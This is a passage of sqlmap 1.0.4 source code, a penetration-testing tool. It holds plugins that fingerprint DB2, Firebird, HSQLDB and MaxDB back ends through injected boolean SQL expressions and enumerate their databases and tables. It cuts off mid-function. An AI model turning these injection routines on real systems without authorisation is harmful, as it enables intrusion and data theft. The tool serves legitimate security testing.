from lib.core.data import logger from lib.core.enums import DBMS from lib.core.enums import OS from lib.core.session import setDbms from lib.core.settings import DB2_ALIASES from lib.request import inject from plugins.generic.fingerprint import Fingerprint as GenericFingerprint class Fingerprint(GenericFingerprint): def __init__(self): GenericFingerprint.__init__(self, DBMS.DB2) def _versionCheck(self): minor, major = None, None for version in reversed(xrange(5, 15)): result = inject.checkBooleanExpression("(SELECT COUNT(*) FROM sysibm.sysversions WHERE versionnumber BETWEEN %d000000 AND %d999999)>0" % (version, version)) if result: major = version for version in reversed(xrange(0, 20)): result = inject.checkBooleanExpression("(SELECT COUNT(*) FROM sysibm.sysversions WHERE versionnumber BETWEEN %d%02d0000 AND %d%02d9999)>0" % (major, version, major, version)) if result: minor = version version = "%s.%s" % (major, minor) break break if major and minor: return "%s.%s" % (major, minor) else: return None def getFingerprint(self): value = "" wsOsFp = Format.getOs("web server", kb.headersFp) if wsOsFp: value += "%s\n" % wsOsFp if kb.data.banner: dbmsOsFp = Format.getOs("back-end DBMS", kb.bannerFp) if dbmsOsFp: value += "%s\n" % dbmsOsFp value += "back-end DBMS: " if not conf.extensiveFp: value += DBMS.DB2 return value actVer = Format.getDbms() blank = " " * 15 value += "active fingerprint: %s" % actVer if kb.bannerFp: banVer = kb.bannerFp["dbmsVersion"] if 'dbmsVersion' in kb.bannerFp else None banVer = Format.getDbms([banVer]) value += "\n%sbanner parsing fingerprint: %s" % (blank, banVer) htmlErrorFp = Format.getErrorParsedDBMSes() if htmlErrorFp: value += "\n%shtml error message fingerprint: %s" % (blank, htmlErrorFp) return value def checkDbms(self): if not conf.extensiveFp and (Backend.isDbmsWithin(DB2_ALIASES) or (conf.dbms or "").lower() in DB2_ALIASES): setDbms(DBMS.DB2) return True logMsg = "testing %s" % DBMS.DB2 logger.info(logMsg) result = inject.checkBooleanExpression("[RANDNUM]=(SELECT [RANDNUM] FROM SYSIBM.SYSDUMMY1)") if result: logMsg = "confirming %s" % DBMS.DB2 logger.info(logMsg) version = self._versionCheck() if version: Backend.setVersion(version) setDbms("%s %s" % (DBMS.DB2, Backend.getVersion())) return True else: warnMsg = "the back-end DBMS is not %s" % DBMS.DB2 logger.warn(warnMsg) return False def checkDbmsOs(self, detailed=False): if Backend.getOs(): return infoMsg = "fingerprinting the back-end DBMS operating system " infoMsg += "version and service pack" logger.info(infoMsg) query = "(SELECT LENGTH(OS_NAME) FROM SYSIBMADM.ENV_SYS_INFO WHERE OS_NAME LIKE '%WIN%')>0" result = inject.checkBooleanExpression(query) if not result: Backend.setOs(OS.LINUX) else: Backend.setOs(OS.WINDOWS) infoMsg = "the back-end DBMS operating system is %s" % Backend.getOs() if result: versions = { "2003": ("5.2", (2, 1)), "2008": ("7.0", (1,)), "2000": ("5.0", (4, 3, 2, 1)), "7": ("6.1", (1, 0)), "XP": ("5.1", (2, 1)), "NT": ("4.0", (6, 5, 4, 3, 2, 1)) } # Get back-end DBMS underlying operating system version for version, data in versions.items(): query = "(SELECT LENGTH(OS_VERSION) FROM SYSIBMADM.ENV_SYS_INFO WHERE OS_VERSION = '%s')>0" % data[0] result = inject.checkBooleanExpression(query) if result: Backend.setOsVersion(version) infoMsg += " %s" % Backend.getOsVersion() break if not Backend.getOsVersion(): return # Get back-end DBMS underlying operating system service pack for sp in versions[Backend.getOsVersion()][1]: query = "(SELECT LENGTH(OS_RELEASE) FROM SYSIBMADM.ENV_SYS_INFO WHERE OS_RELEASE LIKE '%Service Pack " + str(sp) + "%')>0" result = inject.checkBooleanExpression(query) if result: Backend.setOsServicePack(sp) break if not Backend.getOsServicePack(): Backend.setOsServicePack(0) debugMsg = "assuming the operating system has no service pack" logger.debug(debugMsg) if Backend.getOsVersion(): infoMsg += " Service Pack %d" % Backend.getOsServicePack() logger.info(infoMsg) sqlmap-1.0.4/plugins/dbms/db2/syntax.py000066400000000000000000000012661270044205500177720ustar00rootroot00000000000000#!/usr/bin/env python """ Copyright (c) 2006-2016 sqlmap developers (http://sqlmap.org/) See the file 'doc/COPYING' for copying permission """ from plugins.generic.syntax import Syntax as GenericSyntax class Syntax(GenericSyntax): def __init__(self): GenericSyntax.__init__(self) @staticmethod def escape(expression, quote=True): """ >>> Syntax.escape("SELECT 'abcdefgh' FROM foobar") 'SELECT CHR(97)||CHR(98)||CHR(99)||CHR(100)||CHR(101)||CHR(102)||CHR(103)||CHR(104) FROM foobar' """ def escaper(value): return "||".join("CHR(%d)" % ord(_) for _ in value) return Syntax._escape(expression, quote, escaper) sqlmap-1.0.4/plugins/dbms/db2/takeover.py000066400000000000000000000005601270044205500202600ustar00rootroot00000000000000#!/usr/bin/env python """ Copyright (c) 2006-2016 sqlmap developers (http://sqlmap.org/) See the file 'doc/COPYING' for copying permission """ from plugins.generic.takeover import Takeover as GenericTakeover class Takeover(GenericTakeover): def __init__(self): self.__basedir = None self.__datadir = None GenericTakeover.__init__(self) sqlmap-1.0.4/plugins/dbms/firebird/000077500000000000000000000000001270044205500172045ustar00rootroot00000000000000sqlmap-1.0.4/plugins/dbms/firebird/__init__.py000066400000000000000000000020431270044205500213140ustar00rootroot00000000000000#!/usr/bin/env python """ Copyright (c) 2006-2016 sqlmap developers (http://sqlmap.org/) See the file 'doc/COPYING' for copying permission """ from lib.core.enums import DBMS from lib.core.settings import FIREBIRD_SYSTEM_DBS from lib.core.unescaper import unescaper from plugins.dbms.firebird.enumeration import Enumeration from plugins.dbms.firebird.filesystem import Filesystem from plugins.dbms.firebird.fingerprint import Fingerprint from plugins.dbms.firebird.syntax import Syntax from plugins.dbms.firebird.takeover import Takeover from plugins.generic.misc import Miscellaneous class FirebirdMap(Syntax, Fingerprint, Enumeration, Filesystem, Miscellaneous, Takeover): """ This class defines Firebird methods """ def __init__(self): self.excludeDbsList = FIREBIRD_SYSTEM_DBS Syntax.__init__(self) Fingerprint.__init__(self) Enumeration.__init__(self) Filesystem.__init__(self) Miscellaneous.__init__(self) Takeover.__init__(self) unescaper[DBMS.FIREBIRD] = Syntax.escape sqlmap-1.0.4/plugins/dbms/firebird/connector.py000066400000000000000000000043071270044205500215540ustar00rootroot00000000000000#!/usr/bin/env python """ Copyright (c) 2006-2016 sqlmap developers (http://sqlmap.org/) See the file 'doc/COPYING' for copying permission """ try: import kinterbasdb except ImportError: pass import logging from lib.core.data import conf from lib.core.data import logger from lib.core.exception import SqlmapConnectionException from lib.core.settings import UNICODE_ENCODING from plugins.generic.connector import Connector as GenericConnector class Connector(GenericConnector): """ Homepage: http://kinterbasdb.sourceforge.net/ User guide: http://kinterbasdb.sourceforge.net/dist_docs/usage.html Debian package: python-kinterbasdb License: BSD """ def __init__(self): GenericConnector.__init__(self) # sample usage: # ./sqlmap.py -d "firebird://sysdba:testpass@/opt/firebird/testdb.fdb" # ./sqlmap.py -d "firebird://sysdba:testpass@127.0.0.1:3050//opt/firebird/testdb.fdb" def connect(self): self.initConnection() if not self.hostname: self.checkFileDb() try: self.connector = kinterbasdb.connect(host=self.hostname.encode(UNICODE_ENCODING), database=self.db.encode(UNICODE_ENCODING), \ user=self.user.encode(UNICODE_ENCODING), password=self.password.encode(UNICODE_ENCODING), charset="UTF8") # Reference: http://www.daniweb.com/forums/thread248499.html except kinterbasdb.OperationalError, msg: raise SqlmapConnectionException(msg[1]) self.initCursor() self.printConnected() def fetchall(self): try: return self.cursor.fetchall() except kinterbasdb.OperationalError, msg: logger.log(logging.WARN if conf.dbmsHandler else logging.DEBUG, "(remote) %s" % msg[1]) return None def execute(self, query): try: self.cursor.execute(query) except kinterbasdb.OperationalError, msg: logger.log(logging.WARN if conf.dbmsHandler else logging.DEBUG, "(remote) %s" % msg[1]) except kinterbasdb.Error, msg: raise SqlmapConnectionException(msg[1]) self.connector.commit() def select(self, query): self.execute(query) return self.fetchall() sqlmap-1.0.4/plugins/dbms/firebird/enumeration.py000066400000000000000000000021401270044205500221010ustar00rootroot00000000000000#!/usr/bin/env python """ Copyright (c) 2006-2016 sqlmap developers (http://sqlmap.org/) See the file 'doc/COPYING' for copying permission """ from lib.core.data import logger from plugins.generic.enumeration import Enumeration as GenericEnumeration class Enumeration(GenericEnumeration): def __init__(self): GenericEnumeration.__init__(self) def getDbs(self): warnMsg = "on Firebird it is not possible to enumerate databases (use only '--tables')" logger.warn(warnMsg) return [] def getPasswordHashes(self): warnMsg = "on Firebird it is not possible to enumerate the user password hashes" logger.warn(warnMsg) return {} def searchDb(self): warnMsg = "on Firebird it is not possible to search databases" logger.warn(warnMsg) return [] def searchColumn(self): warnMsg = "on Firebird it is not possible to search columns" logger.warn(warnMsg) return [] def getHostname(self): warnMsg = "on Firebird it is not possible to enumerate the hostname" logger.warn(warnMsg) sqlmap-1.0.4/plugins/dbms/firebird/filesystem.py000066400000000000000000000013321270044205500217410ustar00rootroot00000000000000#!/usr/bin/env python """ Copyright (c) 2006-2016 sqlmap developers (http://sqlmap.org/) See the file 'doc/COPYING' for copying permission """ from lib.core.exception import SqlmapUnsupportedFeatureException from plugins.generic.filesystem import Filesystem as GenericFilesystem class Filesystem(GenericFilesystem): def __init__(self): GenericFilesystem.__init__(self) def readFile(self, rFile): errMsg = "on Firebird it is not possible to read files" raise SqlmapUnsupportedFeatureException(errMsg) def writeFile(self, wFile, dFile, fileType=None, forceCheck=False): errMsg = "on Firebird it is not possible to write files" raise SqlmapUnsupportedFeatureException(errMsg) sqlmap-1.0.4/plugins/dbms/firebird/fingerprint.py000066400000000000000000000116341270044205500221120ustar00rootroot00000000000000#!/usr/bin/env python """ Copyright (c) 2006-2016 sqlmap developers (http://sqlmap.org/) See the file 'doc/COPYING' for copying permission """ import re from lib.core.common import Backend from lib.core.common import Format from lib.core.common import getUnicode from lib.core.common import randomRange from lib.core.data import conf from lib.core.data import kb from lib.core.data import logger from lib.core.enums import DBMS from lib.core.session import setDbms from lib.core.settings import FIREBIRD_ALIASES from lib.core.settings import METADB_SUFFIX from lib.core.settings import UNKNOWN_DBMS_VERSION from lib.request import inject from plugins.generic.fingerprint import Fingerprint as GenericFingerprint class Fingerprint(GenericFingerprint): def __init__(self): GenericFingerprint.__init__(self, DBMS.FIREBIRD) def getFingerprint(self): value = "" wsOsFp = Format.getOs("web server", kb.headersFp) if wsOsFp: value += "%s\n" % wsOsFp if kb.data.banner: dbmsOsFp = Format.getOs("back-end DBMS", kb.bannerFp) if dbmsOsFp: value += "%s\n" % dbmsOsFp value += "back-end DBMS: " actVer = Format.getDbms() if not conf.extensiveFp: value += actVer return value actVer = Format.getDbms() + " (%s)" % (self._dialectCheck()) blank = " " * 15 value += "active fingerprint: %s" % actVer if kb.bannerFp: banVer = kb.bannerFp["dbmsVersion"] if re.search("-log$", kb.data.banner): banVer += ", logging enabled" banVer = Format.getDbms([banVer]) value += "\n%sbanner parsing fingerprint: %s" % (blank, banVer) htmlErrorFp = Format.getErrorParsedDBMSes() if htmlErrorFp: value += "\n%shtml error message fingerprint: %s" % (blank, htmlErrorFp) return value def _sysTablesCheck(self): retVal = None table = ( ("1.0", ("EXISTS(SELECT CURRENT_USER FROM RDB$DATABASE)",)), ("1.5", ("NULLIF(%d,%d) IS NULL", "EXISTS(SELECT CURRENT_TRANSACTION FROM RDB$DATABASE)")), ("2.0", ("EXISTS(SELECT CURRENT_TIME(0) FROM RDB$DATABASE)", "BIT_LENGTH(%d)>0", "CHAR_LENGTH(%d)>0")), ("2.1", ("BIN_XOR(%d,%d)=0", "PI()>0.%d", "RAND()<1.%d", "FLOOR(1.%d)>=0")), # TODO: add test for Firebird 2.5 ) for i in xrange(len(table)): version, checks = table[i] failed = False check = checks[randomRange(0, len(checks) - 1)].replace("%d", getUnicode(randomRange(1, 100))) result = inject.checkBooleanExpression(check) if result: retVal = version else: failed = True break if failed: break return retVal def _dialectCheck(self): retVal = None if Backend.getIdentifiedDbms(): result = inject.checkBooleanExpression("EXISTS(SELECT CURRENT_DATE FROM RDB$DATABASE)") retVal = "dialect 3" if result else "dialect 1" return retVal def checkDbms(self): if not conf.extensiveFp and (Backend.isDbmsWithin(FIREBIRD_ALIASES) \ or (conf.dbms or "").lower() in FIREBIRD_ALIASES) and Backend.getVersion() and \ Backend.getVersion() != UNKNOWN_DBMS_VERSION: v = Backend.getVersion().replace(">", "") v = v.replace("=", "") v = v.replace(" ", "") Backend.setVersion(v) setDbms("%s %s" % (DBMS.FIREBIRD, Backend.getVersion())) self.getBanner() return True infoMsg = "testing %s" % DBMS.FIREBIRD logger.info(infoMsg) result = inject.checkBooleanExpression("(SELECT COUNT(*) FROM RDB$DATABASE WHERE [RANDNUM]=[RANDNUM])>0") if result: infoMsg = "confirming %s" % DBMS.FIREBIRD logger.info(infoMsg) result = inject.checkBooleanExpression("EXISTS(SELECT CURRENT_USER FROM RDB$DATABASE)") if not result: warnMsg = "the back-end DBMS is not %s" % DBMS.FIREBIRD logger.warn(warnMsg) return False setDbms(DBMS.FIREBIRD) infoMsg = "actively fingerprinting %s" % DBMS.FIREBIRD logger.info(infoMsg) version = self._sysTablesCheck() if version is not None: Backend.setVersion(version) setDbms("%s %s" % (DBMS.FIREBIRD, version)) self.getBanner() return True else: warnMsg = "the back-end DBMS is not %s" % DBMS.FIREBIRD logger.warn(warnMsg) return False def forceDbmsEnum(self): conf.db = "%s%s" % (DBMS.FIREBIRD, METADB_SUFFIX) if conf.tbl: conf.tbl = conf.tbl.upper() sqlmap-1.0.4/plugins/dbms/firebird/syntax.py000066400000000000000000000021731270044205500211070ustar00rootroot00000000000000#!/usr/bin/env python """ Copyright (c) 2006-2016 sqlmap developers (http://sqlmap.org/) See the file 'doc/COPYING' for copying permission """ from lib.core.common import Backend from lib.core.common import isDBMSVersionAtLeast from plugins.generic.syntax import Syntax as GenericSyntax class Syntax(GenericSyntax): def __init__(self): GenericSyntax.__init__(self) @staticmethod def escape(expression, quote=True): """ >>> Backend.setVersion('2.0') ['2.0'] >>> Syntax.escape("SELECT 'abcdefgh' FROM foobar") "SELECT 'abcdefgh' FROM foobar" >>> Backend.setVersion('2.1') ['2.1'] >>> Syntax.escape("SELECT 'abcdefgh' FROM foobar") 'SELECT ASCII_CHAR(97)||ASCII_CHAR(98)||ASCII_CHAR(99)||ASCII_CHAR(100)||ASCII_CHAR(101)||ASCII_CHAR(102)||ASCII_CHAR(103)||ASCII_CHAR(104) FROM foobar' """ def escaper(value): return "||".join("ASCII_CHAR(%d)" % ord(_) for _ in value) retVal = expression if isDBMSVersionAtLeast("2.1"): retVal = Syntax._escape(expression, quote, escaper) return retVal sqlmap-1.0.4/plugins/dbms/firebird/takeover.py000066400000000000000000000020261270044205500213760ustar00rootroot00000000000000#!/usr/bin/env python """ Copyright (c) 2006-2016 sqlmap developers (http://sqlmap.org/) See the file 'doc/COPYING' for copying permission """ from lib.core.exception import SqlmapUnsupportedFeatureException from plugins.generic.takeover import Takeover as GenericTakeover class Takeover(GenericTakeover): def __init__(self): GenericTakeover.__init__(self) def osCmd(self): errMsg = "on Firebird it is not possible to execute commands" raise SqlmapUnsupportedFeatureException(errMsg) def osShell(self): errMsg = "on Firebird it is not possible to execute commands" raise SqlmapUnsupportedFeatureException(errMsg) def osPwn(self): errMsg = "on Firebird it is not possible to establish an " errMsg += "out-of-band connection" raise SqlmapUnsupportedFeatureException(errMsg) def osSmb(self): errMsg = "on Firebird it is not possible to establish an " errMsg += "out-of-band connection" raise SqlmapUnsupportedFeatureException(errMsg) sqlmap-1.0.4/plugins/dbms/hsqldb/000077500000000000000000000000001270044205500166735ustar00rootroot00000000000000sqlmap-1.0.4/plugins/dbms/hsqldb/__init__.py000066400000000000000000000020171270044205500210040ustar00rootroot00000000000000#!/usr/bin/env python """ Copyright (c) 2006-2016 sqlmap developers (http://sqlmap.org/) See the file 'doc/COPYING' for copying permission """ from lib.core.enums import DBMS from lib.core.settings import HSQLDB_SYSTEM_DBS from lib.core.unescaper import unescaper from plugins.dbms.hsqldb.enumeration import Enumeration from plugins.dbms.hsqldb.filesystem import Filesystem from plugins.dbms.hsqldb.fingerprint import Fingerprint from plugins.dbms.hsqldb.syntax import Syntax from plugins.dbms.hsqldb.takeover import Takeover from plugins.generic.misc import Miscellaneous class HSQLDBMap(Syntax, Fingerprint, Enumeration, Filesystem, Miscellaneous, Takeover): """ This class defines HSQLDB methods """ def __init__(self): self.excludeDbsList = HSQLDB_SYSTEM_DBS Syntax.__init__(self) Fingerprint.__init__(self) Enumeration.__init__(self) Filesystem.__init__(self) Miscellaneous.__init__(self) Takeover.__init__(self) unescaper[DBMS.HSQLDB] = Syntax.escape sqlmap-1.0.4/plugins/dbms/hsqldb/connector.py000066400000000000000000000055331270044205500212450ustar00rootroot00000000000000#!/usr/bin/env python """ Copyright (c) 2006-2016 sqlmap developers (http://sqlmap.org/) See the file 'doc/COPYING' for copying permission """ try: import jaydebeapi import jpype except ImportError, msg: pass import logging from lib.core.common import checkFile from lib.core.common import readInput from lib.core.data import conf from lib.core.data import logger from lib.core.exception import SqlmapConnectionException from plugins.generic.connector import Connector as GenericConnector class Connector(GenericConnector): """ Homepage: https://pypi.python.org/pypi/JayDeBeApi/ & http://jpype.sourceforge.net/ User guide: https://pypi.python.org/pypi/JayDeBeApi/#usage & http://jpype.sourceforge.net/doc/user-guide/userguide.html API: - Debian package: - License: LGPL & Apache License 2.0 """ def __init__(self): GenericConnector.__init__(self) def connect(self): self.initConnection() try: msg = "what's the location of 'hsqldb.jar'? " jar = readInput(msg) checkFile(jar) args = "-Djava.class.path=%s" % jar jvm_path = jpype.getDefaultJVMPath() jpype.startJVM(jvm_path, args) except Exception, msg: raise SqlmapConnectionException(msg[0]) try: driver = 'org.hsqldb.jdbc.JDBCDriver' connection_string = 'jdbc:hsqldb:mem:.' #'jdbc:hsqldb:hsql://%s/%s' % (self.hostname, self.db) self.connector = jaydebeapi.connect(driver, connection_string, str(self.user), str(self.password)) except Exception, msg: raise SqlmapConnectionException(msg[0]) self.initCursor() self.printConnected() def fetchall(self): try: return self.cursor.fetchall() except Exception, msg: logger.log(logging.WARN if conf.dbmsHandler else logging.DEBUG, "(remote) %s" % msg[1]) return None def execute(self, query): retVal = False try: self.cursor.execute(query) retVal = True except Exception, msg: #todo fix with specific error logger.log(logging.WARN if conf.dbmsHandler else logging.DEBUG, "(remote) %s" % msg[1]) self.connector.commit() return retVal def select(self, query): retVal = None upper_query = query.upper() if query and not (upper_query.startswith("SELECT ") or upper_query.startswith("VALUES ")): query = "VALUES %s" % query if query and upper_query.startswith("SELECT ") and " FROM " not in upper_query: query = "%s FROM (VALUES(0))" % query self.cursor.execute(query) retVal = self.cursor.fetchall() return retVal sqlmap-1.0.4/plugins/dbms/hsqldb/enumeration.py000066400000000000000000000025151270044205500215760ustar00rootroot00000000000000#!/usr/bin/env python """ Copyright (c) 2006-2016 sqlmap developers (http://sqlmap.org/) See the file 'doc/COPYING' for copying permission """ from plugins.generic.enumeration import Enumeration as GenericEnumeration from lib.core.data import conf from lib.core.data import kb from lib.core.data import logger from lib.core.data import queries from lib.core.common import Backend from lib.core.common import unArrayizeValue from lib.core.settings import HSQLDB_DEFAULT_SCHEMA from lib.request import inject class Enumeration(GenericEnumeration): def __init__(self): GenericEnumeration.__init__(self) def getBanner(self): if not conf.getBanner: return if kb.data.banner is None: infoMsg = "fetching banner" logger.info(infoMsg) query = queries[Backend.getIdentifiedDbms()].banner.query kb.data.banner = unArrayizeValue(inject.getValue(query, safeCharEncode=True)) return kb.data.banner def getPrivileges(self, *args): warnMsg = "on HSQLDB it is not possible to enumerate the user privileges" logger.warn(warnMsg) return {} def getHostname(self): warnMsg = "on HSQLDB it is not possible to enumerate the hostname" logger.warn(warnMsg) def getCurrentDb(self): return HSQLDB_DEFAULT_SCHEMA sqlmap-1.0.4/plugins/dbms/hsqldb/filesystem.py000066400000000000000000000013251270044205500214320ustar00rootroot00000000000000#!/usr/bin/env python """ Copyright (c) 2006-2016 sqlmap developers (http://sqlmap.org/) See the file 'doc/COPYING' for copying permission """ from lib.core.exception import SqlmapUnsupportedFeatureException from plugins.generic.filesystem import Filesystem as GenericFilesystem class Filesystem(GenericFilesystem): def __init__(self): GenericFilesystem.__init__(self) def readFile(self, rFile): errMsg = "on HSQLDB it is not possible to read files" raise SqlmapUnsupportedFeatureException(errMsg) def writeFile(self, wFile, dFile, fileType=None, forceCheck=False): errMsg = "on HSQLDB it is not possible to read files" raise SqlmapUnsupportedFeatureException(errMsg) sqlmap-1.0.4/plugins/dbms/hsqldb/fingerprint.py000066400000000000000000000116751270044205500216060ustar00rootroot00000000000000#!/usr/bin/env python """ Copyright (c) 2006-2016 sqlmap developers (http://sqlmap.org/) See the file 'doc/COPYING' for copying permission """ import re from lib.core.common import Backend from lib.core.common import Format from lib.core.common import unArrayizeValue from lib.core.data import conf from lib.core.data import kb from lib.core.data import logger from lib.core.enums import DBMS from lib.core.session import setDbms from lib.core.settings import HSQLDB_ALIASES from lib.core.settings import UNKNOWN_DBMS_VERSION from lib.request import inject from plugins.generic.fingerprint import Fingerprint as GenericFingerprint class Fingerprint(GenericFingerprint): def __init__(self): GenericFingerprint.__init__(self, DBMS.HSQLDB) def getFingerprint(self): value = "" wsOsFp = Format.getOs("web server", kb.headersFp) if wsOsFp and not hasattr(conf, "api"): value += "%s\n" % wsOsFp if kb.data.banner: dbmsOsFp = Format.getOs("back-end DBMS", kb.bannerFp) if dbmsOsFp and not hasattr(conf, "api"): value += "%s\n" % dbmsOsFp value += "back-end DBMS: " actVer = Format.getDbms() if not conf.extensiveFp: value += actVer return value blank = " " * 15 value += "active fingerprint: %s" % actVer if kb.bannerFp: banVer = kb.bannerFp["dbmsVersion"] if 'dbmsVersion' in kb.bannerFp else None if re.search("-log$", kb.data.banner): banVer += ", logging enabled" banVer = Format.getDbms([banVer] if banVer else None) value += "\n%sbanner parsing fingerprint: %s" % (blank, banVer) htmlErrorFp = Format.getErrorParsedDBMSes() if htmlErrorFp: value += "\n%shtml error message fingerprint: %s" % (blank, htmlErrorFp) return value def checkDbms(self): """ References for fingerprint: DATABASE_VERSION() version 2.2.6 added two-arg REPLACE functio REPLACE('a','a') compared to REPLACE('a','a','d') version 2.2.5 added SYSTIMESTAMP function version 2.2.3 added REGEXPR_SUBSTRING and REGEXPR_SUBSTRING_ARRAY functions version 2.2.0 added support for ROWNUM() function version 2.1.0 added MEDIAN aggregate function version < 2.0.1 added support for datetime ROUND and TRUNC functions version 2.0.0 added VALUES support version 1.8.0.4 Added org.hsqldbdb.Library function, getDatabaseFullProductVersion to return the full version string, including the 4th digit (e.g 1.8.0.4). version 1.7.2 CASE statements added and INFORMATION_SCHEMA """ if not conf.extensiveFp and (Backend.isDbmsWithin(HSQLDB_ALIASES) \ or (conf.dbms or "").lower() in HSQLDB_ALIASES) and Backend.getVersion() and \ Backend.getVersion() != UNKNOWN_DBMS_VERSION: v = Backend.getVersion().replace(">", "") v = v.replace("=", "") v = v.replace(" ", "") Backend.setVersion(v) setDbms("%s %s" % (DBMS.HSQLDB, Backend.getVersion())) if Backend.isVersionGreaterOrEqualThan("1.7.2"): kb.data.has_information_schema = True self.getBanner() return True infoMsg = "testing %s" % DBMS.HSQLDB logger.info(infoMsg) result = inject.checkBooleanExpression("CASEWHEN(1=1,1,0)=1") if result: infoMsg = "confirming %s" % DBMS.HSQLDB logger.info(infoMsg) result = inject.checkBooleanExpression("ROUNDMAGIC(PI())>=3") if not result: warnMsg = "the back-end DBMS is not %s" % DBMS.HSQLDB logger.warn(warnMsg) return False else: kb.data.has_information_schema = True Backend.setVersion(">= 1.7.2") setDbms("%s 1.7.2" % DBMS.HSQLDB) banner = self.getBanner() if banner: Backend.setVersion("= %s" % banner) else: if inject.checkBooleanExpression("(SELECT [RANDNUM] FROM (VALUES(0)))=[RANDNUM]"): Backend.setVersionList([">= 2.0.0", "< 2.3.0"]) else: banner = unArrayizeValue(inject.getValue("\"org.hsqldbdb.Library.getDatabaseFullProductVersion\"()", safeCharEncode=True)) if banner: Backend.setVersion("= %s" % banner) else: Backend.setVersionList([">= 1.7.2", "< 1.8.0"]) return True else: warnMsg = "the back-end DBMS is not %s or version is < 1.7.2" % DBMS.HSQLDB logger.warn(warnMsg) return False def getHostname(self): warnMsg = "on HSQLDB it is not possible to enumerate the hostname" logger.warn(warnMsg) sqlmap-1.0.4/plugins/dbms/hsqldb/syntax.py000066400000000000000000000013231270044205500205720ustar00rootroot00000000000000#!/usr/bin/env python """ Copyright (c) 2006-2016 sqlmap developers (http://sqlmap.org/) See the file 'doc/COPYING' for copying permission """ from plugins.generic.syntax import Syntax as GenericSyntax class Syntax(GenericSyntax): def __init__(self): GenericSyntax.__init__(self) @staticmethod def escape(expression, quote=True): """ >>> Syntax.escape("SELECT 'abcdefgh' FROM foobar") 'SELECT CHAR(97)||CHAR(98)||CHAR(99)||CHAR(100)||CHAR(101)||CHAR(102)||CHAR(103)||CHAR(104) FROM foobar' """ def escaper(value): return "||".join("CHAR(%d)" % ord(value[i]) for i in xrange(len(value))) return Syntax._escape(expression, quote, escaper) sqlmap-1.0.4/plugins/dbms/hsqldb/takeover.py000066400000000000000000000020161270044205500210640ustar00rootroot00000000000000#!/usr/bin/env python """ Copyright (c) 2006-2016 sqlmap developers (http://sqlmap.org/) See the file 'doc/COPYING' for copying permission """ from lib.core.exception import SqlmapUnsupportedFeatureException from plugins.generic.takeover import Takeover as GenericTakeover class Takeover(GenericTakeover): def __init__(self): GenericTakeover.__init__(self) def osCmd(self): errMsg = "on HSQLDB it is not possible to execute commands" raise SqlmapUnsupportedFeatureException(errMsg) def osShell(self): errMsg = "on HSQLDB it is not possible to execute commands" raise SqlmapUnsupportedFeatureException(errMsg) def osPwn(self): errMsg = "on HSQLDB it is not possible to establish an " errMsg += "out-of-band connection" raise SqlmapUnsupportedFeatureException(errMsg) def osSmb(self): errMsg = "on HSQLDB it is not possible to establish an " errMsg += "out-of-band connection" raise SqlmapUnsupportedFeatureException(errMsg) sqlmap-1.0.4/plugins/dbms/maxdb/000077500000000000000000000000001270044205500165115ustar00rootroot00000000000000sqlmap-1.0.4/plugins/dbms/maxdb/__init__.py000066400000000000000000000020111270044205500206140ustar00rootroot00000000000000#!/usr/bin/env python """ Copyright (c) 2006-2016 sqlmap developers (http://sqlmap.org/) See the file 'doc/COPYING' for copying permission """ from lib.core.enums import DBMS from lib.core.settings import MAXDB_SYSTEM_DBS from lib.core.unescaper import unescaper from plugins.dbms.maxdb.enumeration import Enumeration from plugins.dbms.maxdb.filesystem import Filesystem from plugins.dbms.maxdb.fingerprint import Fingerprint from plugins.dbms.maxdb.syntax import Syntax from plugins.dbms.maxdb.takeover import Takeover from plugins.generic.misc import Miscellaneous class MaxDBMap(Syntax, Fingerprint, Enumeration, Filesystem, Miscellaneous, Takeover): """ This class defines SAP MaxDB methods """ def __init__(self): self.excludeDbsList = MAXDB_SYSTEM_DBS Syntax.__init__(self) Fingerprint.__init__(self) Enumeration.__init__(self) Filesystem.__init__(self) Miscellaneous.__init__(self) Takeover.__init__(self) unescaper[DBMS.MAXDB] = Syntax.escape sqlmap-1.0.4/plugins/dbms/maxdb/connector.py000066400000000000000000000010631270044205500210550ustar00rootroot00000000000000#!/usr/bin/env python """ Copyright (c) 2006-2016 sqlmap developers (http://sqlmap.org/) See the file 'doc/COPYING' for copying permission """ from lib.core.exception import SqlmapUnsupportedFeatureException from plugins.generic.connector import Connector as GenericConnector class Connector(GenericConnector): def __init__(self): GenericConnector.__init__(self) def connect(self): errMsg = "on SAP MaxDB it is not possible to establish a " errMsg += "direct connection" raise SqlmapUnsupportedFeatureException(errMsg) sqlmap-1.0.4/plugins/dbms/maxdb/enumeration.py000066400000000000000000000212161270044205500214130ustar00rootroot00000000000000#!/usr/bin/env python """ Copyright (c) 2006-2016 sqlmap developers (http://sqlmap.org/) See the file 'doc/COPYING' for copying permission """ from lib.core.common import Backend from lib.core.common import randomStr from lib.core.common import readInput from lib.core.common import safeSQLIdentificatorNaming from lib.core.common import unsafeSQLIdentificatorNaming from lib.core.data import conf from lib.core.data import kb from lib.core.data import logger from lib.core.data import paths from lib.core.data import queries from lib.core.exception import SqlmapMissingMandatoryOptionException from lib.core.exception import SqlmapNoneDataException from lib.core.exception import SqlmapUserQuitException from lib.core.settings import CURRENT_DB from lib.utils.pivotdumptable import pivotDumpTable from lib.techniques.brute.use import columnExists from plugins.generic.enumeration import Enumeration as GenericEnumeration class Enumeration(GenericEnumeration): def __init__(self): GenericEnumeration.__init__(self) kb.data.processChar = lambda x: x.replace('_', ' ') if x else x def getPasswordHashes(self): warnMsg = "on SAP MaxDB it is not possible to enumerate the user password hashes" logger.warn(warnMsg) return {} def getDbs(self): if len(kb.data.cachedDbs) > 0: return kb.data.cachedDbs infoMsg = "fetching database names" logger.info(infoMsg) rootQuery = queries[Backend.getIdentifiedDbms()].dbs randStr = randomStr() query = rootQuery.inband.query retVal = pivotDumpTable("(%s) AS %s" % (query, randStr), ['%s.schemaname' % randStr], blind=True) if retVal: kb.data.cachedDbs = retVal[0].values()[0] if kb.data.cachedDbs: kb.data.cachedDbs.sort() return kb.data.cachedDbs def getTables(self, bruteForce=None): if len(kb.data.cachedTables) > 0: return kb.data.cachedTables self.forceDbmsEnum() if conf.db == CURRENT_DB: conf.db = self.getCurrentDb() if conf.db: dbs = conf.db.split(",") else: dbs = self.getDbs() for db in filter(None, dbs): dbs[dbs.index(db)] = safeSQLIdentificatorNaming(db) infoMsg = "fetching tables for database" infoMsg += "%s: %s" % ("s" if len(dbs) > 1 else "", ", ".join(db if isinstance(db, basestring) else db[0] for db in sorted(dbs))) logger.info(infoMsg) rootQuery = queries[Backend.getIdentifiedDbms()].tables for db in dbs: randStr = randomStr() query = rootQuery.inband.query % (("'%s'" % db) if db != "USER" else 'USER') retVal = 